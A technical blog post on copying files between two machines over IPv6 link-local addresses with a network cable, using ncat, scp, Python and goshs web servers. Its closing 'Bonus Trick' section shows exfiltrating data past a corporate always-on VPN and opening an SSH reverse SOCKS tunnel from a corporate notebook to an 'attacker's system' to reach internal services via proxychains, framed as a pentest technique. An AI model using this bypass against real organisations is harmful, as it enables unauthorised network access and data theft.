Introduction

There are a ton of ways to copy data between two systems. You can use a file sharing service on the Internet, transfer files via your self-hosted server or even use USB drives.

This blog post shows a very simple and fast solution using IPv6 link-local addresses and a network cable. These link-local addresses allow you to communicate without the need of a router, Internet, static IP configuration or a DHCP server. You just need an Ethernet cable.

As a bonus, the technique explained here can also be used to bypass and abuse corporate VPNs like exfiltrate data or tunneling traffic to the internal network of a company.

TL;DR

  1. Connect two devices using a network cable.
  2. Generate some traffic by pinging all nodes multicast address e.g. ping -c 1 ff02::1%eth0 .
  3. Get the IP address on the other device from the neighbor cache.
  4. Transfer files via the IPv6 link-local address (don’t forget to specify the interface).
  5. Bonus: Use this technique to exfiltrate/download data to corporate notebooks or to provide a tunnel to the internal network using SSH port forwarding / SOCKS.

Connect the Devices

Before Connecting

Before the devices are connected, the network interfaces are down.

Example on Linux:

$ ip addr list eth0
13: eth0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN group default qlen 1000
    link/ether 34:29:8f:10:97:a7 brd ff:ff:ff:ff:ff:ff
  • The interface name is eth0
  • The state is DOWN

Example on Windows:

PS > ipconfig
[...]

Ethernet adapter usb0:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

[...]
  • The interface name is usb0
  • The state is disconnected

Example on Windows using PowerShell:

PS > Get-NetAdapter | fl
[...]

Name                       : usb0
InterfaceDescription       : ASIX AX88179 USB 3.0 to Gigabit Ethernet Adapter
InterfaceIndex             : 20
MacAddress                 : 08-BE-AC-22-4D-04
MediaType                  : 802.3
PhysicalMediaType          : 802.3
InterfaceOperationalStatus : Down
AdminStatus                : Up
LinkSpeed(Mbps)            : 0
MediaConnectionState       : Disconnected
ConnectorPresent           : True
DriverInformation          : Driver Date 2019-12-09 Version 1.18.19.1128 NDIS 6.30

[...]
  • The interface is named usb0
  • The interface index is 20
  • The connection state is Disconnected

Connect

Connect the two devices with a network cable. You don’t need a crossover cable, since all modern network cards support HP’s auto-MDI-X1 which automagically applies the correct configuration on the network card.

⚠️ If you connect a VM using e.g. VMware Workstation, you have to map the USB adapter directly into the VM via USB, because there is an issue with bridged host interfaces and link-local IPv6 addresses. I did not try this on VirtualBox or other solutions.

Enable Interfaces

Depending on your OS and network management software (like NetworkManager or systemd-networkd) the network interfaces are automatically active and correctly configured or you have to bring them up manually.

On Linux:

$ sudo ip link set dev eth0 up

On Windows, the interface should automatically be up when you connect a cable. If not, you can go to the Network Connection settings of the Control Panel enable it with a right-click. or enable them using PowerShell (you can also specify the interface name via -Name usb0):

PS > Get-NetAdapter -InterfaceIndex 20 | Enable-NetAdapter

PS > Get-NetAdapter -InterfaceIndex 20 | fl

Name                       : usb0
[...]
MediaConnectionState       : Connected
[...]

Check Connection

If a system has IPv6 enabled, which is the default on all modern OS, every enabled interface automatically configures itself a link-local address 2. This address starts with fe80 and ends with the MAC address in the EUI-64 format 3. If you have a closer look, you see that the 7 bit is inverted and fffe was put in the middle.

Example on Linux:

$ ip addr list eth0
13: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 34:29:8f:10:97:a7 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::3629:8fff:fe10:97a7/64 scope link proto kernel_ll 
       valid_lft forever preferred_lft forever
  • The link-local address is fe80::3629:8fff:fe10:97a7

Example on Windows:

PS > ipconfig /all
[...]

Ethernet adapter usb0:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::3e50:2083:9add:490a%20
   Autoconfiguration IPv4 Address. . : 169.254.95.115
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . :
  • The link-local address is fe80::cfdc:f531:e2d0:8552
  • You see again the interface index 20 after the address

Or using PowerShell:

PS > Get-NetIPAddress -InterfaceIndex 20 -AddressFamily IPv6


IPAddress         : fe80::3e50:2083:9add:490a%20
InterfaceIndex    : 20
InterfaceAlias    : usb0
AddressFamily     : IPv6
Type              : Unicast
PrefixLength      : 64
PrefixOrigin      : WellKnown
SuffixOrigin      : Link
AddressState      : Preferred
ValidLifetime     :
PreferredLifetime :
SkipAsSource      : False
PolicyStore       : ActiveStore

Generate Traffic

You could now manually type the link-local address on the other device to establish a connection. However, there are more elegant solutions.

By generating some traffic, the link-local address will be put into the other systems neighbor table (think of “ARP table for IPv6”). For this, you can send packets to the all-nodes multicast address 4 (think of “boradcast for IPv6”).

On Linux, you have to specify the interface name (e.g. eth0) after the all-nodes multicast address separated by %:

$ ping -c 1 ff02::1%eth0
PING ff02::1%eth0 (ff02::1%eth0) 56 data bytes

--- ff02::1%eth0 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

On Windows, you have to specify the interface index (e.g. 20) after the all-nodes multicast address separated by %:

PS > ping -n 1 ff02::1%20

Pinging ff02::1%19 with 32 bytes of data:
Request timed out.

Ping statistics for ff02::1%19:
    Packets: Sent = 1, Received = 0, Lost = 1 (100% loss),

ℹ️ Even if you do not receive any response, the neighbor table will still updated.

Verify

The IPv6 neighbor cache contains now the link-local address of the other system.

Example on Linux:

$ ip neighbour show dev eth0
fe80::3e50:2083:9add:490a lladdr f8:75:a4:7e:8a:c2 REACHABLE 
  • The IPv6 link-local address of the other system is fe80::3e50:2083:9add:490a

Example on Windows:

PS > Get-NetNeighbor -InterfaceIndex 20

ifIndex IPAddress                  LinkLayerAddress      State       PolicyStore
------- ---------                  ----------------      -----       -----------
[...]
20      ff02::2                    33-33-00-00-00-02     Permanent   ActiveStore
20      ff02::1                    33-33-00-00-00-01     Permanent   ActiveStore
20      fe80::3629:8fff:fe10:97a7  34-29-8F-10-97-A7     Stale       ActiveStore
[...]
  • The IPv6 link-local address of the other system is fe80::3629:8fff:fe10:97a7

Data Transfer

Now you’re ready to copy data between the two systems.

Generally, you can use your known tools. One important point is that you have to specify the interface name (on Linux) or the interface index (on Windows) whenever you use a link-local address. Otherwise, the OS does not know on which interface the packet should be sent, because all interfaces have a link-local address with the same fe80 prefix.

Here are some examples.

Netcat

You can use Ncat 5 to establish a simple TCP or TLS connection between the two systems and exchange data.

Start a TLS server that automatically generates a certificate to receive data:

$ sudo ncat --ssl -vnl 1234 > test2
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 6FB8 C6A9 3825 5C27 AF89 0E24 906B A632 61E6 6C72
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234

Send a file to the server:

PS > cat .\anotherfile.txt | .\ncat.exe --ssl -v fe80::3629:8fff:fe10:97a7%20 1234
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Subject: CN=localhost
Ncat: Issuer: CN=localhost
Ncat: SHA-1 fingerprint: 6FB8 C6A9 3825 5C27 AF89 0E24 906B A632 61E6 6C72
Ncat: Certificate verification failed (self signed certificate).
Ncat: SSL connection to fe80::3629:8fff:fe10:97a7:1234.
Ncat: SHA-1 fingerprint: 00A6 2DFF C77E EDA9 5496 2510 AE50 4BD9 DEAC 8BDA
Ncat: 6 bytes sent, 0 bytes received in 0.43 seconds.
  • The fingerprint of the certificate should be the same on both ends. Otherwise, someone tampered with your connection.

SCP (SFTP over SSH)

You can also use scp to copy data which uses the SFTP protocol over SSH. The IP address has to be specified in square brackets ([]):

PS > scp .\file.txt emanuel@[fe80::3629:8fff:fe10:97a7%20]:/tmp/file.txt
file.txt                                   100%    5     0.3KB/s   00:00

Python Webserver

You can also use the built-in HTTP server 6 of Python for data exchange.

Create a share directory and serve this directory via the Python webserver:

$ mkdir /tmp/share
$ cd /tmp/share
$ echo test > test.txt

$ python -m http.server -b :: 2323
Serving HTTP on :: port 2323 (http://[::]:2323/) ...
  • -b :: is used to listen on IPv6 as well
  • 2323 is the port where the server is listening on

Download files on the other system. The IP address must again be specified in square brackets

$ curl -vO http://[fe80::3629:8fff:fe10:97a7%20]:2323/test.txt
[...]
* Connected to fe80::3629:8fff:fe10:97a7 (fe80::3629:8fff:fe10:97a7) port 2323
[...]
> GET /test.txt HTTP/1.1
> Host: [fe80::3629:8fff:fe10:97a7]:2323
[...]

< HTTP/1.0 200 OK
[...]
  • -O directly writes the file with same remote filename to disk

⚠️ On Windows, use curl.exe instead of curl, since curl is sadly an alias to Invoke-WebRequest and not the real curl binary 7.

Goshs Webserver

To have a bit more features than with the Python webserver, like TLS, basic authentication and upload functionality, I often use goshs for file transfer 8. You can install it via go install or download the latest binary from GitHub 9.

Start the server:

$ mkdir /tmp/share
$ cd /tmp/share
$ echo test > test.txt
$ ./goshs  -s -ss -b alice:Password.123 -p 2323
  • -s -ss is used to enable TLS and create a self-signed certificate
  • -b is used to enable basic authentication
  • -p 2323 is the port the server will listen on

On the other system, you can upload files using curl:

PS > curl.exe -X PUT --data "@file.txt" -k -v -u alice:Password.123 https://[fe80::3629:8fff:fe10:97a7%20]:2323/somedir/upload235
[...]

> PUT /somedir/upload235 HTTP/1.1
> Host: [fe80::3629:8fff:fe10:97a7]:2323
[...]
* upload completely sent off: 4 bytes

[...]
< HTTP/1.1 200 OK
[...]
  • The filename is prepended by an @ and must be in double quotes (") on Windows, otherwise you’ll get a PowerShell syntax error.

Or download files:

PS > curl.exe -k -v -u alice:Password.123 https://[fe80::3629:8fff:fe10:97a7%20]:2323/somedir/somefile.txt -o somefile.txt
[...]
> GET /somedir/somefile.txt HTTP/1.1
> Host: [fe80::3629:8fff:fe10:97a7]:2323
> Authorization: Basic YWxpY2U6UGFzc3dvcmQuMTIz
[...]

< HTTP/1.1 200 OK
[...]

Sadly, browsers do not support link-local addresses. If you still want to access goshs via link-local addresses in a browser, you can do some port forwarding.

On Windows (this needs an elevated promt started as a local administrator):

PS > netsh interface portproxy add v4tov6 listenport=1234 connectport=2323 connectaddress=fe80::3629:8fff:fe10:97a7%20
  • The port 1234 will be listening
  • Connected clients will be forwarded to the specified link-local IP address and port

Then, you can access the website in the browser by connecting to localhost which then performs a port forwarding to the link-local IP address:

On Linux, you can use socat 10 which does not need local admin permissions (as long as you don’t bind to a port < 1024)

$ socat TCP4-LISTEN:1234,fork TCP6:[fe80::3e50:2083:9add:490a%wlan0]:2323

You can then also open the website in a browser on Linux.

Bonus Trick: Bypass and Abuse Corporate VPNs

In corporate environments, notebooks have often an always-on VPN client installed, which automatically connects to the corporate network. All further traffic is then always sent through the VPN tunnel, so that the traffic can be inspected and for example checked for malware or malicious behavior. All other connections directly to the Internet or to the local network are often denied.

However, if the system is not correctly configured, and only IPv4 traffic is sent through the VPN and only local IPv4 connections are dropped, IPv6 can be used to bypass these restrictions.

Ensure the corporate notebook is connected to the Internet, and the VPN connection is established. Either connect your attacker system to the same network or to an additional network cable.

Data Download and Exfiltration

So, you can use the technique explained in this article to communicate with link-local IPv6 addresses in the local network to either download files which otherwise would be blocked or to exfiltrate data.

Access Corporate Network

If you can access other devices via the link-local address and be connected to the corporate VPN at the same time, you can use this to provide an entry point into the corporate network to other systems.

To do so, first create a new SSH key on the corporate notebook:

PS > ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (C:\Users\alice/.ssh/id_ed25519):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in C:\Users\alice/.ssh/id_ed25519
Your public key has been saved in C:\Users\alice/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:nDcatGD4USM/TPlPmv7EoZFaZ57QHtWvZIqOZkDD0GE alice@windows11
The key's randomart image is:
+--[ED25519 256]--+
|     .E.+.       |
|    .o.*..     . |
|    .o+ =.    . .|
|     o+= +.o..  .|
|     ...S B=* o .|
|      .  *o%.B . |
|       .o.o B .  |
|        oo..     |
|       o. ...    |
+----[SHA256]-----+

Copy the public key to the attacker’s system (using the technique described above 😉).

Add this public key to the authorized_keys file of the attacker’s system so that the user on the corporate notebook can perform a login: but not start a shell or execute any commands:

$ vi .ssh/authorized_keys 
[...]
command="exit" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII2Cm2LW38Xe0jya1lJ7BxX5wM99uIWaycFQUJRoTFb6 alice@windows11
  • The command option is used to not allow the corporate user to execute any commands on the attacker’s system for security reasons.

Now, on the corporate notebook, establish an SSH connection to the attacker’s system using the link-local IP address:

PS > ssh -R 1080 attacker@fe80::7aaf:8ff:fe28:af19%16
The authenticity of host 'fe80::7aaf:8ff:fe28:af19%16 (fe80::7aaf:8ff:fe28:af19%16)' can't be established.
ED25519 key fingerprint is SHA256:BDU7X0GtVPAV0091cx29K+m+by50TtMf2Q4Zqs0Rn+8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'fe80::7aaf:8ff:fe28:af19%16' (ED25519) to the list of known hosts.
  • -R 1080 is used to start a SOCKS proxy on the attacker’s system.
  • -N is used to not execute a command on the attacker’s system. Otherwise the connection would be closed immediately.

On the attacker’s system, there is now a SOCKS proxy running on port 1080:

$ ss -ltpn | grep 1080
LISTEN 0      0          127.0.0.1:1080      0.0.0.0:*
LISTEN 0      0              [::1]:1080            *:*

Configure proxychains11 on the attacker’s system accordingly:

$ sudo vi /etc/proxychains.conf 
[...]
socks4 	127.0.0.1 1080

It’s now possible to use proxychains to tunnel the traffic through the corporate notebook into the corporate VPN to access internal services:

$ proxychains curl https://wiki.acme.internal
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  wiki.acme.internal:443  ...  OK

[...]
<h1>Welcome to the internal wiki of ACME!</h1>
[...]

As always, only do such stuff if you have the permission, like in a pentest 😀!


  1. HP, Auto-MDIX technology: https://www.hp.com/hpinfo/abouthp/iplicensing/automdix.html ↩︎

  2. RFC 4291, IPv6 Addressing Architecture, Link-Local IPv6 Unicast Addresses: https://datatracker.ietf.org/doc/html/rfc4291#section-2.5.6 ↩︎

  3. IEEE, Use of EUI-64 for New Designs: https://www.ieee802.org/secmail/msg00396.html ↩︎

  4. RFC 4291, IPv6 Addressing Architecture, Pre-Defined Multicast Addresses: https://datatracker.ietf.org/doc/html/rfc4291#section-2.7.1 ↩︎

  5. Ncat of the nmap project: https://nmap.org/ncat/ ↩︎

  6. Python Documentation, http.server: https://docs.python.org/3/library/http.server.html ↩︎

  7. Curl developer Daniel Stenberg (bagder), Removing the PowerShell curl alias?: https://daniel.haxx.se/blog/2016/08/19/removing-the-powershell-curl-alias/ ↩︎

  8. goshs project page: https://goshs.de/en/index.html ↩︎

  9. GitHub, patrickhener/goshs: https://github.com/patrickhener/goshs ↩︎

  10. Socat project page: https://www.dest-unreach.org/socat/ (shows a 404 :/) ↩︎

  11. GitHub: Proxychains NG: https://github.com/rofl0r/proxychains-ng ↩︎